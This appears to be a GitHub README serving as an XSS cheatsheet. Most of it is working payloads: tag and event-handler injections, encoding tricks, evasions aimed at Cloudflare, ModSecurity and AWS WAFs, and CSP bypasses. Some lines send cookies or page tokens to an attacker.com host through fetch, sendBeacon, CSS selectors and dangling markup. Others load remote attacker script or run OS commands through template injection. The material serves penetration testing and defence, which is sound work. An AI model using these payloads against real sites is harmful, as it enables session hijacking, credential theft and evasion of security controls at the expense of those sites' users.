Skip to content

Latest commit

 

History

1 Commit

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

⚡ XSS Cheatsheet — Cross-Site Scripting Reference

Stars License: MIT PRs Welcome Last Updated Payloads

The most comprehensive XSS reference on GitHub.
Reflected · Stored · DOM · Blind XSS — payloads, filter bypasses, WAF evasion, CSP bypass, mXSS, prototype pollution chains, and real-world CVEs. Updated for 2026.

Payloads · Filter Bypass · WAF Evasion · DOM XSS · CSP Bypass · Blind XSS · Advanced · Tools


Table of Contents


🎯 What is XSS?

Cross-Site Scripting (XSS) is a client-side code injection attack where an attacker injects malicious scripts into content served by a trusted web application. When a victim's browser renders the page, the injected script executes with the same privileges as legitimate scripts from that origin.

Why XSS Matters

XSS is consistently in the OWASP Top 10 because the impact is severe and the attack surface is enormous:

Impact Description
Session Hijacking Steal document.cookie and take over authenticated sessions
Account Takeover Change email/password via forged requests using the victim's session
Keylogging Capture every keystroke, including passwords, credit card numbers
Phishing Inject fake login forms that submit credentials to attacker
Defacement Modify page content to spread misinformation or embarrass the target
Malware Distribution Redirect victims to exploit kits
Crypto Mining Run cryptominers in victim browsers
SSRF / Internal Port Scan Use victim's browser to probe internal network
Credential Harvesting Read autofilled credentials from the DOM
Screenshot / Webcam Capture screen via getDisplayMedia(), webcam via getUserMedia()

The Same-Origin Policy and XSS

XSS defeats the Same-Origin Policy (SOP). Because the malicious script is served from the target origin, the browser treats it as trusted. This means XSS gives an attacker:

  • Full read/write access to the DOM
  • Access to all cookies not protected by HttpOnly
  • The ability to make authenticated XHR/fetch requests to the same origin
  • Access to localStorage and sessionStorage

🗺️ XSS Types

Cross-Site Scripting (XSS)
│
├── Reflected XSS
│   ├── Payload in request, reflected in response immediately
│   ├── Requires victim to click crafted link
│   ├── Stored: NO — not persistent
│   └── Example: search?q=<script>alert(1)</script>
│
├── Stored XSS (Persistent)
│   ├── Payload stored in database, file, log, etc.
│   ├── Executes on every page load for every victim
│   ├── Stored: YES — most dangerous type
│   └── Example: comment field, profile name, forum post
│
├── DOM-Based XSS
│   ├── Payload processed by client-side JS, never reaches server
│   ├── Source → Sink flow entirely in browser
│   ├── Often missed by server-side WAFs and scanners
│   └── Example: location.hash → innerHTML assignment
│
└── Blind XSS
    ├── Payload executes in a different context than where it's injected
    ├── Fires in admin panels, log viewers, CRM systems
    ├── Time delay between injection and execution (hours/days)
    └── Example: support ticket field that fires in agent dashboard
Type Persistence Who Gets Hit Server Sees Payload?
Reflected No Targeted victim Yes
Stored Yes All visitors Yes
DOM No Targeted victim Usually No
Blind Yes (remote) Admin / backend user Yes (at injection point)

💥 Basic Payloads

Classic

The foundational payloads every security researcher knows. These work where no filtering exists.

<!-- Standard script tag -->
<script>alert(1)</script>

<!-- With domain in alert for proof-of-concept -->
<script>alert(document.domain)</script>

<!-- Cookie theft proof-of-concept -->
<script>alert(document.cookie)</script>

<!-- Script with src — load external JS -->
<script src=https://attacker.com/xss.js></script>

<!-- With type attribute -->
<script type="text/javascript">alert(1)</script>

<!-- Newline in script tag -->
<script>
alert(1)
</script>

<!-- Multiple statements -->
<script>var x=1;alert(x)</script>

<!-- Using window.alert -->
<script>window.alert(1)</script>

<!-- With character reference -->
<script>alert&#40;1&#41;</script>

<!-- IIFE (Immediately Invoked Function Expression) -->
<script>(function(){alert(1)})()</script>

<!-- Arrow function -->
<script>(() => alert(1))()</script>

Alert Alternatives (when alert is blocked)

Many modern applications and WAFs block the word alert. Use these alternatives:

// confirm() — shows OK/Cancel dialog
<script>confirm(1)</script>

// prompt() — shows input dialog  
<script>prompt(1)</script>

// console.log() — silent, check browser console
<script>console.log(document.cookie)</script>

// print() — opens print dialog (noisy but visible)
<script>print()</script>

// debugger — pauses DevTools if open
<script>debugger</script>

// throw — visible in console as uncaught error
<script>throw 1</script>

// Using window object
<script>window['alert'](1)</script>

// Using top
<script>top['alert'](1)</script>

// Constructing alert string to evade static analysis
<script>window['\x61\x6c\x65\x72\x74'](1)</script>

// Using eval
<script>eval('ale'+'rt(1)')</script>

// Function constructor
<script>Function('alert(1)')()</script>

// setTimeout / setInterval
<script>setTimeout(alert,0,1)</script>
<script>setInterval(alert,9999,1)</script>

// Using fetch to exfiltrate (when alert is blocked entirely)
<script>fetch('https://attacker.com/?c='+document.cookie)</script>

// navigator.sendBeacon — harder to block, works on page unload
<script>navigator.sendBeacon('https://attacker.com/',document.cookie)</script>

Without Parentheses

Parentheses are sometimes filtered. These techniques execute code without them:

// Template literal as argument (backtick replaces parentheses)
<script>alert`1`</script>
<script>alert`${document.cookie}`</script>

// onerror with template literal
<img src=x onerror=alert`1`>

// throw with alert as onerror
<script>window.onerror=alert;throw 1</script>

// Using location
<script>location='javascript:alert\x281\x29'</script>

// Using execCommand (legacy)
<svg><script>alert&#40;1&#41;</script></svg>

// document.write with encoded parens
<script>document.write('\x3cimg src=x onerror=alert`1`\x3e')</script>

// msExecAttr (IE legacy)
// <div id=x tabindex=1 onactivate=alert(1)></div>

// via.href
<a href="javascript:alert`1`">click</a>

Without Spaces

When spaces are stripped or flagged:

<!-- Slash as space alternative -->
<img/src=x/onerror=alert(1)>

<!-- Tab character (0x09) -->
<img	src=x	onerror=alert(1)>

<!-- Newline in attribute -->
<img
src=x
onerror=alert(1)>

<!-- Self-closing with no space -->
<svg/onload=alert(1)>

<!-- Double slash -->
<img//src=x//onerror=alert(1)>

<!-- NULL byte as separator (some parsers) -->
<img src=x%00onerror=alert(1)>

With Quotes Stripped

When single and double quotes are removed:

<!-- No quotes needed for simple values -->
<img src=x onerror=alert(1)>

<!-- Backtick as attribute delimiter (IE/old browsers) -->
<img src=`x` onerror=`alert(1)`>

<!-- No quotes on src -->
<script src=//attacker.com/x.js></script>

<!-- HTML entities for quotes inside attributes -->
<img src=x onerror=alert&lpar;1&rpar;>

<!-- javascript: protocol without quotes -->
<a href=javascript:alert(1)>XSS</a>

<!-- Object to string coercion — no quotes needed -->
<img src=x onerror=alert(document.domain)>

🔓 Filter Bypass

Case Variation

HTML tag names and attribute names are case-insensitive. Mix case to bypass case-sensitive filters:

<ScRiPt>alert(1)</ScRiPt>
<SCRIPT>alert(1)</SCRIPT>
<Script>alert(1)</Script>
<sCrIpT>alert(1)</sCrIpT>

<!-- Event handler case variation -->
<img src=x OnErRoR=alert(1)>
<img src=x ONERROR=alert(1)>
<img src=x oNlOaD=alert(1)>

<!-- SVG case -->
<SVG ONLOAD=alert(1)>
<Svg OnLoad=alert(1)>

Tag Obfuscation

Confuse parsers by breaking tags in ways browsers still understand:

<!-- Nested script tag breaks naive regex -->
<scr<script>ipt>alert(1)</scr</script>ipt>

<!-- HTML comment inside tag (IE) -->
<img src=x onerror=alert(1) <!-- -->

<!-- Unknown attribute (ignored by browser) -->
<script/xss>alert(1)</script>

<!-- Null byte in tag name (some parsers ignore it) -->
<scri\x00pt>alert(1)</scri\x00pt>

<!-- Tab in tag name -->
<scri	pt>alert(1)</scri	pt>

<!-- Newline in tag name -->
<scri
pt>alert(1)</scri
pt>

<!-- Extra < inside tag (some parsers) -->
<<script>alert(1)</script>

<!-- Unclosed tags that still execute -->
<script>alert(1)//

<!-- Fake closing tag -->
</textarea><script>alert(1)</script>
</title><script>alert(1)</script>
</style><script>alert(1)</script>
</noscript><script>alert(1)</script>

Event Handler List

A comprehensive list of HTML event handlers usable for XSS. For the full reference with browser support, see payloads/event-handlers.md.

Mouse Events:

<div onmouseover="alert(1)">Hover me</div>
<div onmouseout="alert(1)">Hover then leave</div>
<div onmousedown="alert(1)">Click down</div>
<div onmouseup="alert(1)">Release click</div>
<div onclick="alert(1)">Click me</div>
<div ondblclick="alert(1)">Double click</div>
<div onmousemove="alert(1)">Move mouse</div>
<div oncontextmenu="alert(1)">Right click</div>
<div onwheel="alert(1)">Scroll wheel</div>

Focus Events (no interaction on tabindex elements):

<input onfocus=alert(1) autofocus>
<input onblur=alert(1) autofocus><input autofocus>
<select onfocus=alert(1) autofocus></select>
<textarea onfocus=alert(1) autofocus></textarea>
<a href=# onfocus=alert(1) id=x tabindex=1>link</a>

Form Events:

<form onsubmit="alert(1)"><input type=submit></form>
<form><input type=text oninput="alert(1)"></form>
<form><input type=text onchange="alert(1)"></form>
<form onreset="alert(1)"><input type=reset></form>

Load Events (fire without user interaction):

<body onload=alert(1)>
<img src=x onerror=alert(1)>
<img src=1.jpg onload=alert(1)>
<svg onload=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<object data=x:x onerror=alert(1)>
<link rel=stylesheet href=x onerror=alert(1)>
<script src=x onerror=alert(1)></script>
<iframe src=x onload=alert(1)></iframe>

HTML5 Events (user interaction):

<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>scrolling</marquee>
<video autoplay onplay=alert(1)><source src=x></video>
<audio autoplay onplay=alert(1)><source src=x></audio>
<input type=range oninput=alert(1)>
<input type=color onchange=alert(1)>

Clipboard Events:

<input oncopy=alert(1)>
<input oncut=alert(1)>
<input onpaste=alert(1)>

Drag Events:

<div draggable=true ondragstart=alert(1)>drag me</div>
<div ondragover="alert(1)" ondrop="alert(1)">drop here</div>

Animation/Transition Events:

<!-- Requires CSS animation defined -->
<style>@keyframes x{}</style>
<div style="animation-name:x" onanimationstart="alert(1)"></div>
<div style="animation-name:x" onanimationend="alert(1)"></div>
<div style="transition:color 1s" ontransitionend="alert(1)" onmouseover="this.style.color='red'">hover</div>

Pointer Events:

<div onpointerover=alert(1)>hover</div>
<div onpointerenter=alert(1)>hover</div>
<div onpointerdown=alert(1)>press</div>
<div onpointerup=alert(1)>release</div>

HTML Encoding

Encode <, >, ", ', & using HTML entities. Browsers decode these before parsing attributes:

<!-- Decimal encoding -->
&#60;script&#62;alert(1)&#60;/script&#62;
<!-- = <script>alert(1)</script> -->

<!-- Hex encoding -->
&#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;

<!-- Named entities -->
&lt;script&gt;alert(1)&lt;/script&gt;

<!-- Mixed encoding -->
&#x3C;script>alert(1)</script>

<!-- Inside attribute values (decoded before event handler executes) -->
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">
<!-- = alert(1) -->

<!-- Hex entities in attribute -->
<img src=x onerror="&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">

<!-- Zero-padded entities -->
<img src=x onerror="&#0000097lert(1)">

<!-- With semicolon omitted (works in HTML context) -->
<img src=x onerror=&#97lert(1)>

JavaScript Encoding

Inside JavaScript strings and attribute values, unicode escapes are processed:

// \uXXXX unicode escapes
<script>'\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029'</script>
// But you need eval to execute it:
<script>eval('\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029')</script>

// \x hex escapes
<script>eval('\x61\x6c\x65\x72\x74\x28\x31\x29')</script>

// Octal escapes (non-strict mode)
<script>eval('\141\154\145\162\164\50\61\51')</script>

// Template literals with tagged templates
<script>String.raw`\u{61}lert`(1)</script>

// String.fromCharCode
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>

// Spread into String.fromCharCode
<script>eval(String.fromCharCode(...[97,108,101,114,116,40,49,41]))</script>

// atob (base64 decode)
<script>eval(atob('YWxlcnQoMSk='))</script>

// In URL context — \uXXXX in href
<a href="javascript:\u0061lert(1)">click</a>
<a href="javascript:\u{61}lert(1)">click</a>

URL Encoding

When payload is reflected inside URL parameters or href/src attributes:

%3Cscript%3Ealert(1)%3C/script%3E
= <script>alert(1)</script>

%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
= <img src=x onerror=alert(1)>

javascript:%61lert(1)
= javascript:alert(1)

javascript:void(alert(1))

// With newline (bypasses some URL filters)
java%0ascript:alert(1)
java%09script:alert(1)
java%0Dscript:alert(1)

// Tab, CR, LF in protocol
&#9;javascript:alert(1)
&#10;javascript:alert(1)
&#13;javascript:alert(1)

Double Encoding

When the application decodes once before filtering, then the browser decodes again:

%253Cscript%253E = URL decode once → %3Cscript%3E = URL decode twice → <script>

%253Cscript%253Ealert(1)%253C%252Fscript%253E

// Double-encoded event handler
%2522%2520onmouseover%253Dalert(1)%2520x%253D%2522
= %22 onmouseover%3Dalert(1) x%3D%22
= " onmouseover=alert(1) x="

// Useful when app does urldecode() then inserts into HTML without encoding

SVG Payloads

SVG is an XML-based format that supports script execution and is often allowed where HTML tags are not:

<!-- Basic SVG onload -->
<svg onload=alert(1)>

<!-- SVG with script tag -->
<svg><script>alert(1)</script></svg>

<!-- SVG with script in namespace -->
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(1)</script>
</svg>

<!-- SVG animate -->
<svg><animate onbegin=alert(1) attributeName=x></svg>

<!-- SVG set -->
<svg><set attributeName=x onend=alert(1) dur=1></svg>

<!-- SVG use -->
<svg><use href="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>#x"/></svg>

<!-- SVG image href -->
<svg><image href=1 onerror=alert(1)></svg>

<!-- SVG CDATA -->
<svg><script><![CDATA[alert(1)]]></script></svg>

<!-- SVG in foreignObject -->
<svg><foreignObject><div xmlns="http://www.w3.org/1999/xhtml"><iframe onload=alert(1)></iframe></div></foreignObject></svg>

<!-- Uploaded SVG file payload -->
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
  <circle cx="50" cy="50" r="40"/>
</svg>

HTML5 Specific

HTML5 introduced new elements and attributes that can be abused:

<!-- details/summary — no click needed when open attribute present -->
<details open ontoggle=alert(1)>

<!-- details without open — requires user click -->
<details ontoggle=alert(1)><summary>click</summary></details>

<!-- video/audio with autoplay -->
<video autoplay onplay=alert(1)><source src=valid.mp4></video>
<audio autoplay onplay=alert(1)><source src=valid.mp3></audio>

<!-- video poster -->
<video poster=javascript:alert(1)//></video>

<!-- marquee (deprecated but still works in many browsers) -->
<marquee onstart=alert(1)>text</marquee>
<marquee loop=1 onfinish=alert(1)>text</marquee>

<!-- input with autofocus — fires without click -->
<input autofocus onfocus=alert(1)>
<input autofocus onblur=alert(1)><input autofocus>

<!-- select with autofocus -->
<select autofocus onfocus=alert(1)></select>

<!-- keygen (deprecated, removed from Chrome) -->
<keygen autofocus onfocus=alert(1)>

<!-- meter -->
<meter onmouseover=alert(1)>1</meter>

<!-- object with data -->
<object data="javascript:alert(1)">

<!-- embed -->
<embed src="javascript:alert(1)">

<!-- form action as javascript: -->
<form action=javascript:alert(1)><input type=submit>

<!-- isindex (ancient, but interesting) -->
<isindex action=javascript:alert(1) type=submit>

<!-- base href -->
<base href=javascript:alert(1);//>

<!-- link with stylesheet that loads attacker CSS -->
<link rel=stylesheet href=//attacker.com/x.css>

<!-- script type tricks (modern parsers still execute) -->
<script type=text/javascript>alert(1)</script>
<script type=application/javascript>alert(1)</script>
<script language=javascript>alert(1)</script>

Data URI

data: URIs can contain full HTML documents that execute scripts:

<!-- Basic data URI in iframe -->
<iframe src="data:text/html,<script>alert(document.domain)</script>">

<!-- Base64 encoded -->
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">

<!-- In anchor href -->
<a href="data:text/html,<script>alert(1)</script>">click</a>

<!-- data: in object -->
<object data="data:text/html,<script>alert(1)</script>">

<!-- With charset -->
<iframe src="data:text/html;charset=utf-8,<script>alert(1)</script>">

<!-- SVG data URI with script -->
<img src="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'/>">

<!-- Note: data: URIs are blocked by CSP default-src and many are same-origin restricted -->
<!-- They work in href/src of elements in browsers without strict CSP -->

🌐 Context-Specific Payloads

Understanding injection context is the most critical skill in XSS exploitation. The same payload won't work everywhere.

HTML Context

Injecting between HTML tags. Anything you insert becomes part of the HTML document:

<!-- Direct tag injection -->
You searched for: <script>alert(1)</script>

<!-- Tag injection with event -->
<img src=x onerror=alert(1)>

<!-- Svg injection -->
<svg onload=alert(1)>

<!-- If script is blocked, use events -->
<body onload=alert(1)>

<!-- Use unused tags that don't affect layout -->
<xss onmouseover=alert(1)>hover</xss>

<!-- Custom elements fire events -->
<custom-element onmouseover=alert(1)>

<!-- Without any visible tag change using template -->
<template><script>alert(1)</script></template>

<!-- noscript injection (when JS is disabled in scanner) -->
<noscript><p title="</noscript><script>alert(1)</script>">

HTML Attribute Context

Injecting inside an attribute value. You need to break out of the attribute first:

<!-- Input value: <input value="INJECT"> -->
<!-- Payload: " onmouseover="alert(1)" x=" -->
<input value="" onmouseover="alert(1)" x="">

<!-- Without closing quote — broken attribute -->
<input value=" onmouseover=alert(1) x=">

<!-- Breaking out and adding new tag -->
<input value=""><script>alert(1)</script>

<!-- Single-quoted attribute: <input value='INJECT'> -->
<!-- Payload: ' onmouseover='alert(1) -->
<input value='' onmouseover='alert(1)'>

<!-- Unquoted attribute: <input value=INJECT> -->
<!-- Any whitespace or special char breaks it -->
<input value= onmouseover=alert(1)>

<!-- href attribute — javascript: protocol -->
<a href="javascript:alert(1)">click</a>

<!-- src attribute — javascript: in some tags -->
<img src="javascript:alert(1)"> <!-- blocked in modern browsers -->
<iframe src="javascript:alert(1)"></iframe> <!-- works in some contexts -->

<!-- action attribute -->
<form action="javascript:alert(1)"><input type=submit></form>

JavaScript Context

Injecting inside a <script> block or an external .js file:

// Source: var name = "INJECT";
// Payload: ";alert(1);//
var name = "";alert(1);//";

// Source: var name = 'INJECT';
// Payload: ';alert(1);//
var name = '';alert(1);//';

// Source: var data = INJECT;  (unquoted — JSON-like)
// Payload: 1;alert(1)
var data = 1;alert(1);

// Source: <!-- INJECT -->
// In old XHTML where comments are meaningful
// Payload: --><script>alert(1)</script><!--
<!-- --><script>alert(1)</script><!-- -->

// Closing script tag to break out
// Source: <script>var x = "INJECT"</script>
// Payload: </script><script>alert(1)</script>
<script>var x = "</script><script>alert(1)</script>"</script>

// Template literal context: var x = `INJECT`
// Payload: ${alert(1)}
var x = `${alert(1)}`

// Inside regex context: var re = /INJECT/
// Payload: /;alert(1);//
var re = /;alert(1);///

JavaScript String Context

Breaking out of JavaScript string contexts specifically:

// Double-quote string — most common
';alert(1)//
";alert(1)//
\';alert(1)//
\";alert(1)//

// If backslash escaping is applied:
// Input: test\'
// Result: test\\' (escape is escaped, quote ends string)
// Payload: test\
// → test\' — the backslash escapes the quote, payload follows

// String concatenation abuse
'+alert(1)+'
"+alert(1)+"

// Unicode line terminators that break JS strings (U+2028, U+2029)
// These characters act as line terminators in JS, breaking strings
// Payload in URL: test%E2%80%A8alert(1)

// Template literal escape
`${alert(1)}`
`\`;alert(1);//`

// In JSON reflected into script:
// {"name": "INJECT"}
// Payload: ","x":"</script><script>alert(1)</script>

URL Context (href/src attributes)

When your input is placed inside href, src, action, or similar URL attributes:

javascript:alert(1)
javascript:alert(document.cookie)
javascript:void(alert(1))
javascript://comment%0Aalert(1)

// Bypass with line terminators (decoded before parsing)
java&#x09;script:alert(1)    <!-- tab -->
java&#x0A;script:alert(1)    <!-- newline -->
java&#x0D;script:alert(1)    <!-- carriage return -->

// Protocol-relative in src/href that you can control domain
//attacker.com/xss.js

// In href with whitespace before protocol (some parsers strip it)
" href="  javascript:alert(1)

// vbscript (IE only, legacy)
vbscript:msgbox(1)

CSS Context

XSS via CSS is mostly historical (IE expression()), but still relevant in some contexts:

/* Internet Explorer expression() — executes JavaScript */
<div style="width:expression(alert(1))">

/* Modern CSS doesn't allow JS execution, but can be used for data exfiltration */
/* Attribute selector exfiltration (blind) */
input[value^=a] { background: url(//attacker.com/?c=a) }
input[value^=b] { background: url(//attacker.com/?c=b) }
/* ... repeat for all chars */

/* CSS injection → stylesheet → load attacker CSS */
<link rel=stylesheet href=//attacker.com/x.css>

/* In <style> tag — can use @import */
<style>@import 'https://attacker.com/x.css'</style>

/* -moz-binding (Firefox, ancient) */
<div style="-moz-binding:url(http://attacker.com/xss.xml#xss)">

/* CSS content property with script (HTML parser quirk) */
<style>*{x:expression(alert(1))}</style>

JSON/Template Context

When payload is reflected inside JSON responses or server-side template engines:

// JSON reflected in script tag:
// <script>var data = {"user":"INJECT"};</script>
// Payload: "}; alert(1); var x = {"y":"
var data = {"user":""}; alert(1); var x = {"y":""};

// JSON with JSONP callback injection:
// callback=INJECT&data=...
// Payload: alert(1)//
alert(1)//({...})

// AngularJS template injection (double curly braces)
{{constructor.constructor('alert(1)')()}}
{{$on.constructor('alert(1)')()}}
{{[].pop.constructor('alert(1)')()}}
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)')}}

// Vue.js template injection
{{_c.constructor('alert(1)')()}}

// Jinja2/Twig (server-side, but sometimes reflected with no output encoding)
{{7*7}}   test for SSTI first
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

// Handlebars
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').execSync('id');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

🚫 WAF Evasion

WAF bypass is an art of understanding how WAFs tokenize and match patterns vs. how browsers parse HTML. For the deep-dive guide, see payloads/waf-bypass.md.

Cloudflare Bypass

Cloudflare's WAF uses a combination of signature matching and anomaly scoring. Known bypass techniques (as of 2025-2026):

<!-- Unusual tag with event handler (avoids common regex) -->
<xss id=x tabindex=1 onfocus=alert(1) style=display:block autofocus>

<!-- SVG animate — often missed by Cloudflare signatures -->
<svg><animate onbegin=alert(1) attributeName=x dur=1s>

<!-- details/summary bypass -->
<details/open/ontoggle=alert`1`>

<!-- Concatenation in event handler -->
<img src=x onerror="window['ale'+'rt'](1)">

<!-- HTML entity in handler value -->
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>

<!-- Newline inside tag -->
<img src
=x onerror
=alert(1)>

<!-- Using less common event handlers -->
<body onpageshow=alert(1)>

<!-- fromCharCode bypass -->
<img src=x onerror=eval(String.fromCharCode(97,108,101,114,116,40,49,41))>

<!-- Cloudflare often misses these in 2025: -->
<object data="data:text/html,<script>alert(1)</script>">
<iframe srcdoc="<script>alert(1)</script>">

ModSecurity Bypass

ModSecurity CRS (Core Rule Set) uses a paranoia-level system. Default is level 1-2. Bypasses:

<!-- Comment insertion inside tags breaks rule regex -->
<script/*comment*/>alert(1)</script>

<!-- Unusual whitespace between attributes -->
<img	src=x	onerror=alert(1)>

<!-- HTML entities in attribute names (some versions) -->
<img src=x &#111;nerror=alert(1)>

<!-- Attribute value with mixed encoding -->
<img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)">

<!-- PHP+ModSecurity: Null byte can truncate rule matching -->
<scri%00pt>alert(1)</scri%00pt>

<!-- javascript: with unusual whitespace -->
<a href="javascript&#58;alert(1)">

<!-- Using uncommon tags not in CRS ruleset -->
<xml onreadystatechange=alert(1)>

<!-- Chunked Transfer Encoding: bypasses body inspection on some configs -->
<!-- The request body is split into chunks, each inspected separately -->
<!-- "scri" + "pt>" across chunk boundary bypasses string matching -->

<!-- Long payload to exceed inspection limit (RequestBodyNoFilesLimit) -->
<!-- Prepend 10KB of benign data before the payload -->

<!-- Bypassing CRS via parameter pollution -->
<!-- GET /page?x=<scri&x=pt>alert(1)</scri&x=pt> -->

AWS WAF Bypass

AWS Managed Rules for XSS are signature-based and updated periodically:

<!-- AWS WAF often misses case variations in unusual combos -->
<ScRiPt>alert(1)</ScRiPt>

<!-- Non-standard protocols in href -->
<a href="javASCRIPT:alert(1)">

<!-- SVG-based — often not covered by XSS rule groups -->
<svg><script>alert(1)</script></svg>

<!-- Using iframe with srcdoc -->
<iframe srcdoc="&#x3C;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x3C;&#x2F;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;"></iframe>

<!-- AWS WAF size limits — very large requests may not be fully inspected -->
<!-- First 8KB is inspected by default in request body -->
<!-- Prepend 8KB+ of benign data in a request body parameter -->

<!-- Polyglot that avoids keyword detection -->
<img src=`x`onerror=`confirm\`1\``>

<!-- Comment in javascript: protocol -->
<a href="javascript://attacker.com/%0Aalert(1)">XSS</a>

Generic WAF Evasion

Techniques that work against multiple WAF products:

<!-- Comment insertion in JavaScript (inside script blocks) -->
<script>al/*comment*/ert(1)</script>
<script>al//comment\nert(1)</script>

<!-- Unusual whitespace characters (not 0x20 space) -->
<!-- Tab (0x09), Newline (0x0A), CR (0x0D), Form Feed (0x0C), Vertical Tab (0x0B) -->
<img%09src=x%09onerror=alert(1)>
<img%0Asrc=x%0Aonerror=alert(1)>

<!-- HTTP Parameter Pollution -->
?search=<script&search=>alert(1)</script>

<!-- Chunked encoding (HTTP/1.1) -->
Transfer-Encoding: chunked
<!-- Split the malicious payload across chunk boundaries -->

<!-- Unicode normalization abuse -->
<!-- Some WAFs normalize unicode before matching, some don't -->
<!-- <script> (fullwidth chars) → browsers may render as <script> -->
<script>alert(1)</script>

<!-- Character encoding mismatch -->
<!-- If WAF and app use different charset detection -->
<!-- Inject BOM + non-UTF8 encoded payload -->

<!-- Very large Content-Type or Accept header -->
<!-- Some WAFs skip inspection after header size threshold -->

<!-- Multiple Content-Type headers (HTTP smuggling-adjacent) -->
Content-Type: text/plain
Content-Type: text/html

<!-- Content-Encoding: identity (avoids decompression in some WAFs) -->

<!-- Null character in various positions -->
<scri%00pt>alert(1)</scri%00pt>
<img src=x%00onerror=alert(1)>

<!-- Injecting in rarely-inspected parameters -->
<!-- Cookie values, X-Forwarded-For, Referer — often not WAF-inspected -->
Cookie: tracking=<script>alert(1)</script>

🔒 CSP Bypass

Content Security Policy is the primary XSS mitigation. Understanding how to bypass misconfigurations is essential for security assessments. Use CSP Evaluator to check CSP strength.

unsafe-inline Present

If script-src includes 'unsafe-inline', CSP provides no XSS protection:

<!-- CSP: script-src 'self' 'unsafe-inline' -->
<!-- This means ALL inline scripts execute -->
<script>alert(1)</script>
<img src=x onerror=alert(1)>

This is the most common CSP misconfiguration. Any payload that injects <script> or event handlers will work.

script-src 'self' Only

When only same-origin scripts are allowed:

<!-- JSONP endpoint bypass — if app has any JSONP endpoint -->
<!-- CSP: script-src 'self' -->
<!-- App has: /api/data?callback=FUNCTION_NAME -->
<script src="/api/data?callback=alert(1)//"></script>
<!-- The JSONP response is: alert(1)//({"data":"..."}) -->
<!-- alert(1) executes! -->

<!-- If file upload allowed — upload .js file to same origin -->
<script src="/uploads/evil.js"></script>

<!-- Inline script via DOM (often works when 'unsafe-eval' or 'nonce' is present) -->
<!-- DOM-based XSS bypasses CSP if sink is in inline allowed code -->

<!-- If 'strict-dynamic' is absent and JSONP endpoints exist, the attack works -->

<!-- Example JSONP endpoints often found in the wild: -->
/api/users?callback=alert
/search?jsoncallback=alert
/service?cb=alert

Whitelisted CDN Domains

If CSP allows loading from CDNs that serve user-controllable or library content:

<!-- CSP: script-src https://cdnjs.cloudflare.com -->
<!-- AngularJS from CDN — allows angular template injection -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js"></script>
<div ng-app>{{constructor.constructor('alert(1)')()}}</div>

<!-- CSP: script-src https://cdn.jsdelivr.net -->
<!-- Load AngularJS -->
<script src="https://cdn.jsdelivr.net/npm/angular@1.8.3/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>

<!-- CSP: script-src https://ajax.googleapis.com -->
<!-- Angular + JSONP -->
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.2/angular.min.js"></script>

<!-- jQuery with JSONP from CDN (if endpoint exists) -->
<!-- CSP: script-src https://code.jquery.com 'unsafe-eval' -->
<script src="https://code.jquery.com/jquery-3.7.1.min.js"></script>
<script>$.getScript('/api/data?callback=alert(1)//')</script>

<!-- CSP with wildcard subdomain -->
<!-- CSP: script-src *.example.com -->
<!-- If attacker controls attacker.example.com: -->
<script src="//attacker.example.com/xss.js"></script>

base-uri Missing

If base-uri directive is absent from CSP, inject a <base> tag to redirect relative script loads:

<!-- CSP: script-src 'nonce-RANDOM123' -->
<!-- Page has: <script nonce="RANDOM123" src="/static/app.js"></script> -->

<!-- If you can inject before the script tag: -->
<base href="https://attacker.com/">
<!-- Now /static/app.js loads from https://attacker.com/static/app.js -->
<!-- Host attacker.com/static/app.js with your payload! -->

<!-- Works because base-uri is not set, so <base> tag is allowed -->

Via Dangling Markup

When you cannot execute scripts but can inject HTML (e.g., strict CSP blocks all scripts), dangling markup exfiltrates data:

<!-- Exfiltrate CSRF tokens, secrets in the page -->
<!-- Inject: -->
<img src="https://attacker.com/?
<!-- The src URL is left open. HTML parser reads until it finds a quote -->
<!-- The page content (including tokens) is sent as part of the URL path -->

<!-- More targeted: -->
<form action="https://attacker.com/collect">
<input name=csrf value="
<!-- Targets the next attribute value containing a CSRF token -->

<!-- The browser will try to load the image, sending everything up to the next " as the URL -->
<!-- This leaks page content character by character to attacker -->

Nonce-based CSP

When CSP uses 'nonce-XXXX' to allow specific inline scripts:

<!-- If nonce is predictable (sequential, time-based) — guess it -->

<!-- If nonce is in HTML you can read (e.g., via CORS, XHR to same origin) -->
<!-- First read page, extract nonce, then inject script with that nonce -->
<!-- This requires existing XSS or other read primitive -->

<!-- DOM clobbering to affect nonce detection -->
<!-- If app reads: let nonce = document.querySelector('meta[name=csp-nonce]').content -->
